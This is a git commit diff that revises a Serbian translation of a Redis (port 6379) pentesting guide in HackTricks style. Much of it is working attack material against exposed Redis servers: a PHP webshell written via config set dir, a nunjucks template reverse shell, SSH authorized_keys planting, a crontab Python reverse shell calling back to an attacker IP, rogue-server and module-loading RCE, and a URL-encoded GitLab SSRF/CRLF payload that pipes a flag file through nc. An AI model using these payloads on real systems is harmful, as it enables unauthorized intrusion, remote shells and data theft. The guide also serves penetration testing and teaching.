Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:38:26 +00:00
parent 191df0908c
commit afb90d4550

View File

@ -4,9 +4,9 @@
## Osnovne informacije
Iz [dokumentacije](https://redis.io/topics/introduction): Redis je open source (BSD licenca), u memoriji **skladište podataka**, korišćeno kao **baza podataka**, keš i posrednik poruka.
From [the docs](https://redis.io/topics/introduction): Redis je open source (BSD licenca), u memoriji **skladište podataka**, korišćeno kao **baza podataka**, keš i posrednik poruka).
Po defaultu, Redis koristi protokol zasnovan na običnom tekstu, ali treba imati na umu da takođe može implementirati **ssl/tls**. Saznajte kako da [pokrenete Redis sa ssl/tls ovde](https://fossies.org/linux/redis/TLS.md).
Po defaultu, Redis koristi protokol zasnovan na običnom tekstu, ali treba imati na umu da takođe može implementirati **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
**Podrazumevani port:** 6379
```
@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server
### Baner
Redis je **protokol zasnovan na tekstu**, možete jednostavno **poslati komandu u soket** i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći **ssl/tls** (ali to je veoma čudno).
Redis je **protokol zasnovan na tekstu**, možete jednostavno **poslati komandu u soket** i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći **ssl/tls** (ali to je veoma neobično).
U regularnoj Redis instanci možete se jednostavno povezati koristeći `nc` ili možete koristiti i `redis-cli`:
```bash
@ -39,13 +39,13 @@ U ovom poslednjem slučaju, to znači da **vam trebaju važeće akreditive** za
### Redis Autentifikacija
**Po defaultu** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
**Podrazumevano** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
Moguće je **postaviti lozinku** u _**redis.conf**_ datoteci sa parametrima `requirepass` **ili privremeno** dok se usluga ne restartuje povezivanjem na nju i pokretanjem: `config set requirepass p@ss$12E45`.\
Takođe, **korisničko ime** može biti konfigurisano u parametru `masteruser` unutar _**redis.conf**_ datoteke.
> [!NOTE]
> Ako je samo lozinka konfigurisana, korisničko ime koje se koristi je "**default**".\
> Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran samo sa lozinkom ili korisničkim imenom+lozinkom.
> Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran samo sa lozinkom ili korisničkim imenom + lozinkom.
U slučajevima poput ovog, **trebaće vam da pronađete važeće akreditive** da biste interagovali sa Redis-om, pa možete pokušati da [**brute-force**](../generic-hacking/brute-force.md#redis) to.\
**U slučaju da pronađete važeće akreditive, potrebno je da autentifikujete sesiju** nakon uspostavljanja veze sa komandom:
@ -67,7 +67,7 @@ CONFIG GET *
```
**Ostale Redis komande** [**mogu se naći ovde**](https://redis.io/topics/data-types-intro) **i** [**ovde**](https://lzone.de/cheat-sheet/Redis)**.**
Imajte na umu da se **Redis komande instance mogu preimenovati** ili ukloniti u _redis.conf_ datoteci. Na primer, ova linija će ukloniti komandu FLUSHDB:
Napomena da se **Redis komande instance mogu preimenovati** ili ukloniti u _redis.conf_ datoteci. Na primer, ova linija će ukloniti komandu FLUSHDB:
```
rename-command FLUSHDB ""
```
@ -77,13 +77,13 @@ Takođe možete **pratiti u realnom vremenu Redis komande** koje se izvršavaju
Pronađite više zanimljivih informacija o više Redis komandi ovde: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumpovanje Baze Podataka**
### **Dumping Database**
Unutar Redis-a **baze podataka su brojevi počevši od 0**. Možete saznati da li se neka koristi u izlazu komande `info` unutar "Keyspace" dela:
Unutar Redis-a **baze podataka su brojevi počevši od 0**. Možete saznati da li je neka korišćena u izlazu komande `info` unutar "Keyspace" dela:
![](<../images/image (766).png>)
Ili možete jednostavno dobiti sve **keyspace-ove** (baze podataka) sa:
Ili možete jednostavno dobiti sve **keyspace** (baze podataka) sa:
```
INFO keyspace
```
@ -98,7 +98,7 @@ GET <KEY>
```
U slučaju da dobijete sledeću grešku `-WRONGTYPE Operation against a key holding the wrong kind of value` dok izvršavate `GET <KEY>`, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikazivanje.
Da biste saznali tip ključa, koristite komandu `TYPE`, primer ispod za listu i hash ključeve.
Da biste saznali tip ključa, koristite komandu `TYPE`, primer ispod za list i hash ključeve.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
@ -110,19 +110,19 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**Izvrni dump baze podataka pomoću npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ili python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**Izvršite dump baze podataka sa npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ili python** [**redis-utils**](https://pypi.org/project/redis-utils/)
## Redis RCE
### Interaktivna ljuska
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu ljusku ili obrnutu ljusku u Redis(<=5.0.5).
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu ljusku ili reverznu ljusku u Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
Info iz [**ovde**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** **foldera veb sajta**:
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** do **foldera veb sajta**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -134,13 +134,13 @@ OK
10.85.0.52:6379> save
OK
```
Ako dođe do izuzetka pristupa webshell-u, možete isprazniti bazu podataka nakon pravljenja rezervne kopije i pokušati ponovo, zapamtite da vratite bazu podataka.
Ako dođe do izuzetka pristupa webshell-u, možete isprazniti bazu podataka nakon pravljenja rezervne kopije i pokušati ponovo, zapamtite da vratite bazu podataka.
### Template Webshell
Kao u prethodnom odeljku, takođe možete prepisati neku html šablonsku datoteku koja će biti interpretirana od strane šablonskog engine-a i dobiti shell.
Kao u prethodnom odeljku, takođe možete prepisati neki html template fajl koji će biti interpretiran od strane template engine-a i dobiti shell.
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks šablonski engine:**
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks template engine:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -161,12 +161,12 @@ sh.stderr.pipe(client);
Primer [odavde](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Molimo vas da budete svesni da se rezultat **`config get dir`** može promeniti nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu **`config get dir`** možete pronaći **home** **redis korisnika** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo, znate gde možete napisati `authenticated_users` datoteku za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete ga takođe zloupotrebiti:
Molimo vas da budete svesni da **`config get dir`** rezultat može biti promenjen nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu od **`config get dir`** možete pronaći **home** korisnika **redis** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo znate gde možete napisati datoteku `authenticated_users` za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete to takođe zloupotrebiti:
1. Generišite ssh javni-privatni ključ na vašem računaru: **`ssh-keygen -t rsa`**
2. Napišite javni ključ u datoteku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Uvezite datoteku u redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Sačuvajte javni ključ u **authorized_keys** datoteci na redis serveru:
4. Sačuvajte javni ključ u **authorized_keys** datoteku na redis serveru:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -182,6 +182,8 @@ OK
**Ova tehnika je automatizovana ovde:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Pored toga, sistemski korisnici se takođe mogu otkriti proverom sa `config set dir /home/USER`, i nakon potvrde, novi `authorized_keys` može biti napisan u `/home/USER/.ssh/authorized_keys`. Koristite [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) da bruteforce-ujete ovo sa listom korisničkih imena i prepišete `authorized_keys`.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -197,11 +199,11 @@ Poslednji primer je za Ubuntu, za **Centos**, gornja komanda bi trebala biti: `r
Ova metoda se takođe može koristiti za zarađivanje bitcoina [yam](https://www.v2ex.com/t/286981#reply14)
### Učitaj Redis modul
### Učitaj Redis Modul
1. Prateći uputstva sa [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) možete **kompilirati redis modul za izvršavanje proizvoljnih komandi**.
2. Zatim vam je potreban način da **otpremite kompajlirani** modul.
3. **Učitajte otpremljeni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
3. **Učitajte otpremni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
4. **Prikažite učitane module** da proverite da li je ispravno učitan: `MODULE LIST`.
5. **Izvršite** **komande**:
@ -215,17 +217,17 @@ Ova metoda se takođe može koristiti za zarađivanje bitcoina [yam](https://
6. Otpustite modul kad god želite: `MODULE UNLOAD mymodule`.
### LUA sandbox zaobilaženje
### LUA sandbox bypass
[**Ovde**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) možete videti da Redis koristi komandu **EVAL** za izvršavanje **Lua koda u sandboxu**. U povezanom postu možete videti **kako to zloupotrebiti** koristeći funkciju **dofile**, ali [očigledno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to više nije moguće. U svakom slučaju, ako možete **zaobići Lua** sandbox mogli biste **izvršiti proizvoljne** komande na sistemu. Takođe, iz istog posta možete videti neke **opcije za izazivanje DoS**.
[**Ovde**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) možete videti da Redis koristi komandu **EVAL** za izvršavanje **Lua koda u sandboxu**. U povezanom postu možete videti **kako to zloupotrebiti** koristeći funkciju **dofile**, ali [očigledno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to više nije moguće. U svakom slučaju, ako možete **obići Lua** sandbox mogli biste **izvršiti proizvoljne** komande na sistemu. Takođe, iz istog posta možete videti neke **opcije za izazivanje DoS**.
Neki **CVE-ovi za izlazak iz LUA**:
Neki **CVEs za izlazak iz LUA**:
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Master-Slave Modul
Master redis sve operacije automatski sinhronizuje sa slave redis, što znači da možemo smatrati ranjivost redis kao slave redis, povezan sa master redis koji kontrolišemo, zatim možemo uneti komandu u naš vlastiti redis.
Master redis sve operacije automatski sinhronizuje sa slave redis, što znači da možemo smatrati ranjivost redis kao slave redis, povezan sa master redis koji kontrolišemo, zatim možemo uneti komandu u naš redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -239,7 +241,7 @@ set mykey2 helloworld
```
## SSRF razgovor sa Redis-om
Ako možete poslati **nešifrovani** zahtev **ka Redis-u**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
Ako možete poslati **čist tekst** zahtev **ka Redis-u**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -255,7 +257,7 @@ Zato, ako pronađete **SSRF vuln** na veb sajtu i možete **kontrolisati** neke
U **Gitlab11.4.7** otkrivene su **SSRF** ranjivosti i **CRLF**. **SSRF** ranjivost je bila u **funkcionalnosti uvoza projekta sa URL-a** prilikom kreiranja novog projekta i omogućila je pristup proizvoljnim IP-ovima u formi \[0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a **CRLF** vuln je iskorišćen jednostavno **dodavanjem %0D%0A** karaktera u **URL**.
Zato je bilo moguće **zloupotrebiti ove ranjivosti da komunicirate sa Redis instancom** koja **upravlja redovima** iz **gitlab-a** i zloupotrebiti te redove da **dobijete izvršenje koda**. Payload za zloupotrebu Redis reda je:
Zato, bilo je moguće **zloupotrebiti ove ranjivosti da komunicirate sa Redis instancom** koja **upravlja redovima** iz **gitlab-a** i zloupotrebiti te redove da **dobijete izvršenje koda**. Payload za zloupotrebu Redis reda je:
```
multi
sadd resque:gitlab:queues system_hook_push
@ -266,6 +268,6 @@ I **URL encode** zahtev **zloupotrebljavajući SSRF** i **CRLF** da izvrši `who
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Zbog nekog razloga (kao za autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _odakle je ova informacija preuzeta) eksploatacija je radila sa `git` šemom, a ne sa `http` šemom._
_Zbog nekog razloga (kao za autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _odakle je ova informacija preuzeta) eksploatacija je radila sa `git` šemom, a ne sa `http` šemom._
{{#include ../banners/hacktricks-training.md}}